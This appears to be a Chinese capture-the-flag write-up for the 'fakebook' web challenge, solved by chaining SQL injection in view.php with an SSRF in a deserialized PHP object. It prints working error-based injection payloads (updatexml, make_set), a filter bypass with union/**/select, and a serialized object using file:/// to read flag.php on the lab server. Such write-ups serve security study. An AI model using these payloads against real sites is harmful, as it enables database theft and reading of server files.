攻防世界fakebook

打卡之后

发现有login 还有join

先从login开始做起,发现登入界面,post 型 尝试一下抓包注入

请添加图片描述

右键copy to file 提取成 txt 文件 尝试无果

尝试扫描一下目录

请添加图片描述

尝试访问flag.php 无果 那就应该访问不到继续走

那就分析 join 首先 注册之后一点发现

/view.php?no=1

发现注入点

  • ?no=1 and 1=1 正常
  • ?no=1 and 1=2

请添加图片描述

出现报错信息,并暴露出路径

利用报错注入payload

1 and updatexml(1,concat(0x7e,(select group_conat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

请添加图片描述

发现出现这个,经测试 是过滤了0x7e 0x5e 等等 当然将0x7e 带换成’~'是可以的

-1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)--+

搜一些大佬解法是利用

1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

补充make_set: 简单的来说就是第一个参数将其转成二进制数并逆置 然后将后面的参数依次到对应的二进制位上,输出

然后就是提取列名

-1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name='users')),1)#
-1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

请添加图片描述

请添加图片描述

发现是发序列化的数据,emm 就没思路了

后来知道是 查看robots.txt 得到备份文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();//初始化curl会话

        curl_setopt($ch, CURLOPT_URL, $url);//设置要抓去的url
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现是对url 的请求,并没有对url 进行任何的过滤 所以存在ssrf攻击

那末思路有了

利用反序列化 file:///命令对内容进行flag 请求

<?php
class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";



}
$a = new UserInfo();
echo serialize($a);

判断出列数有4列 (从3开始试就完了 只有4正常),但是这里的union select 被过滤了

不知道试过滤的啥思路又断了 看大佬wp 是说没过滤完全:

构造:union/**/select 即可

最后payload

http://111.200.241.244:53194/view.php?no=-1%20%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:0;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27

请添加图片描述

查看源码得flag请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值